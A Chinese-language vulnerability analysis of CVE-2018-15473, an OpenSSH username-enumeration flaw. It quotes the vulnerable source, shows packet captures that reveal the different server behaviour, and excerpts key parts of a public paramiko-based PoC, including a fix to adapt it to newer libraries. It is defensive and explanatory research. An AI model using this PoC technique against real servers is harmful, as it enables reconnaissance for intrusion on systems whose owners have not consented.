CVE-2018-15473(OpenSSH 用户名枚举漏洞)分析
Table of Contents
OpenSSH <= 7.7 中存在一个用户名枚举漏洞,在传递公钥环节中发送一个错误格式的数据包,就可以根据服务端返回的数据来判断服务器是否存在指定的用户名。
1. 分析环境
软件 | 版本 |
---|---|
OpenSSH | 7.7p1 |
操作系统 | Debian stretch |
虚拟机 IP | 172.17.0.2 |
2. 漏洞分析
漏洞点出现在 userauth_pubkey 函数的两个 if 判断上:
// file: auth2-pubkey.c static int userauth_pubkey(struct ssh *ssh) { Authctxt *authctxt = ssh->authctxt; ... if (!authctxt->valid) { debug2("%s: disabled because of invalid user", __func__); return 0; } if ((r = sshpkt_get_u8(ssh, &have_sig)) != 0 || (r = sshpkt_get_cstring(ssh, &pkalg, NULL)) != 0 || /* 获取加密类型 */ (r = sshpkt_get_string(ssh, &pkblob, &blen)) != 0) /* 获取 key */ fatal("%s: parse request failed: %s", __func__, ssh_err(r)); ... }
第一个 if 判断的 valid 是 Authctxt 结构体的成员,这个字段记录了用户名是否存在以及是否允许登录:
// file: auth.h struct Authctxt { ... int valid; /* user exists and is allowed to login */ ... };
接下来的第二个 if 判断调用了 sshpkt_get_u8、sshpkt_get_cstring 和 sshpkt_get_string 三个函数从接收到的数据中按不同长度的来取数据,判断是否成功取到公钥数据,函数实现如下:
// file: packet.c int sshpkt_get_u8(struct ssh *ssh, u_char *valp) { return sshbuf_get_u8(ssh->state->incoming_packet, valp); } int sshpkt_get_cstring(struct ssh *ssh, char **valp, size_t *lenp) { return sshbuf_get_cstring(ssh->state->incoming_packet, valp, lenp); } int sshpkt_get_string(struct ssh *ssh, u_char **valp, size_t *lenp) { return sshbuf_get_string(ssh->state->incoming_packet, valp, lenp); }
根据上下文分析,这三个函数其实就是在解析数据包:
sshpkt_get_u8(ssh, &have_sig) /* 取第 1 字节数据,用来判断是否有签名,可以当作是个布尔类型,正常情况下应该为 1 */ sshpkt_get_cstring(ssh, &pkalg, NULL) /* 取加密类型 */ sshpkt_get_string(ssh, &pkblob, &blen) /* 取公钥 */
也就是数据包在内存中的布局大致如下:
|-- 1 字节--|-算法类型-|---公钥----------------------| | have_sig | ssh-rsa | AAAAB3NzaC1yc2EAAAADAQAB... |
由于两个 if 返回的条件不一样,也就导致了不同情况下客户端收到的数据包不一样,根据这个就能判断用户是否存在了:
1、如果用户名不存在,第一个 return 返回的 0。
通过 Wireshark 抓包就能看出,TCP 会话结束是由客户端发起的:
103 5.330507117 localhost 172.17.0.2 TCP 66 42482 → 22 [FIN, ACK] Seq=1449 Ack=1470 Win=64128 Len=0 TSval=2208478116 TSecr=2280649252 109 5.330967101 172.17.0.2 localhost TCP 66 22 → 42482 [FIN, ACK] Seq=1470 Ack=1450 Win=64128 Len=0 TSval=2280649253 TSecr=2208478116 110 5.330983540 localhost 172.17.0.2 TCP 66 42482 → 22 [ACK] Seq=1450 Ack=1471 Win=64128 Len=0 TSval=2208478117 TSecr=2280649253
2、如果用户名存在,但解析数据包时,其中某个字段有误而导致第二个 if 调用 fatal,fatal 这个函数不会返回,而是主动关闭 socket。
因此服务端会主动关闭 TCP 会话:
137 2.424108293 172.17.0.2 localhost TCP 66 22 → 42498 [FIN, ACK] Seq=1374 Ack=1433 Win=64128 Len=0 TSval=2280919791 TSecr=2208748654 138 2.424276537 localhost 172.17.0.2 TCP 66 42498 → 22 [FIN, ACK] Seq=1433 Ack=1375 Win=64128 Len=0 TSval=2208748655 TSecr=2280919791 139 2.424284210 172.17.0.2 localhost TCP 66 22 → 42498 [ACK] Seq=1375 Ack=1434 Win=64128 Len=0 TSval=2280919791 TSecr=2208748655
回到 auth2-pubkey.c,函数 userauth_pubkey 在 method_pubkey 中做了一个映射:
Authmethod method_pubkey = { "publickey", userauth_pubkey, &options.pubkey_authentication };
auth2.c 中用到了 method_pubkey,当验证失败时返给客户端 SSH2_MSG_USERAUTH_FAILURE 错误,SSH2_MSG_USERAUTH_FAILURE 定义如下:
// file: ssh2.h #define SSH2_MSG_USERAUTH_FAILURE 51
3. PoC 关键点分析
网上公开的 PoC 脚本(请见“参考”) sshUsernameEnumExploit.py 的关键点在 malform_packet 函数中:
def add_boolean(*args, **kwargs): pass def malform_packet(*args, **kwargs): old_add_boolean = paramiko.message.Message.add_boolean # 构造一个错误的首字节,导致 have_sig 取出来为 0 paramiko.message.Message.add_boolean = add_boolean result = old_parse_service_accept(*args, **kwargs) #return old add_boolean function so start_client will work again paramiko.message.Message.add_boolean = old_add_boolean return result
对 SSH2_MSG_USERAUTH_FAILURE 错误也做了自定义函数处理,相关的代码如下:
class BadUsername(Exception): def __init__(self): pass def call_error(*args, **kwargs): raise BadUsername() paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error def checkUsername(username, tried=0): ... try: transport.auth_publickey(username, paramiko.RSAKey.generate(1024)) except BadUsername: return (username, False) ...
4. 参考
- https://www.openwall.com/lists/oss-security/2018/08/15/5
PoC:https://github.com/Rhynorater/CVE-2018-15473-Exploit/blob/master/sshUsernameEnumExploit.py, 因为新版本的 paramiko 库结构有所变化,对于这个 PoC,要执行:
sed -i 's/_handler_table/_client_handler_table/g' sshUsernameEnumExploit.py
- 漏洞补丁:https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0